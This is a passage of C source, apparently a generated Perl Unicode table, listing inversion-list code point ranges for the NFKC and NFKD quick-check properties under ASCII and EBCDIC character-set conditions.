0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NFKCQC__Y_invlist[] = { /* for EBCDIC 037 */ - 577, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xB7, - 0xBA, - 0xBC, - 0xBF, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x300, - 0x305, - 0x306, - 0x30D, - 0x30F, - 0x310, - 0x311, - 0x312, - 0x313, - 0x315, - 0x31B, - 0x31C, - 0x323, - 0x329, - 0x32D, - 0x32F, - 0x330, - 0x332, - 0x338, - 0x339, - 0x340, - 0x346, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x653, - 0x656, - 0x675, - 0x679, - 0x93C, - 0x93D, - 0x958, - 0x960, - 0x9BE, - 0x9BF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB3E, - 0xB3F, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xBBE, - 0xBBF, - 0xBD7, - 0xBD8, - 0xC56, - 0xC57, - 0xCC2, - 0xCC3, - 0xCD5, - 0xCD7, - 0xD3E, - 0xD3F, - 0xD57, - 0xD58, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD0, - 0xDDF, - 0xDE0, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x102E, - 0x102F, - 0x10FC, - 0x10FD, - 0x1161, - 0x1176, - 0x11A8, - 0x11C3, - 0x1B35, - 0x1B36, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E9A, - 0x1E9C, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1FBB, - 0x1FBC, - 0x1FBD, - 0x1FC2, - 0x1FC9, - 0x1FCA, - 0x1FCB, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD3, - 0x1FD4, - 0x1FDB, - 0x1FDC, - 0x1FDD, - 0x1FE0, - 0x1FE3, - 0x1FE4, - 0x1FEB, - 0x1FEC, - 0x1FED, - 0x1FF0, - 0x1FF9, - 0x1FFA, - 0x1FFB, - 0x1FFC, - 0x1FFD, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x3099, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x110BA, - 0x110BB, - 0x11127, - 0x11128, - 0x1133E, - 0x1133F, - 0x11357, - 0x11358, - 0x114B0, - 0x114B1, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x115AF, - 0x115B0, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NFKDQC__N_invlist[] = { /* for ASCII/Latin1 */ - 781, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA0, - 0xA1, - 0xA8, - 0xA9, - 0xAA, - 0xAB, - 0xAF, - 0xB0, - 0xB2, - 0xB6, - 0xB8, - 0xBB, - 0xBC, - 0xBF, - 0xC0, - 0xC6, - 0xC7, - 0xD0, - 0xD1, - 0xD7, - 0xD9, - 0xDE, - 0xE0, - 0xE6, - 0xE7, - 0xF0, - 0xF1, - 0xF7, - 0xF9, - 0xFE, - 0xFF, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x132, - 0x138, - 0x139, - 0x141, - 0x143, - 0x14A, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x180, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1C4, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x587, - 0x588, - 0x622, - 0x627, - 0x675, - 0x679, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x10FC, - 0x10FD, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309B, - 0x309D, - 0x309E, - 0x30A0, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NFKDQC__N_invlist[] = { /* for EBCDIC 1047 */ - 779, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x4A, - 0x51, - 0x59, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x8D, - 0x8E, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xB7, - 0xBD, - 0xBE, - 0xBF, - 0xCB, - 0xD0, - 0xDA, - 0xE0, - 0xEA, - 0xF0, - 0xFA, - 0xFF, - 0x100, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x132, - 0x138, - 0x139, - 0x141, - 0x143, - 0x14A, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x180, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1C4, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x587, - 0x588, - 0x622, - 0x627, - 0x675, - 0x679, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x10FC, - 0x10FD, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 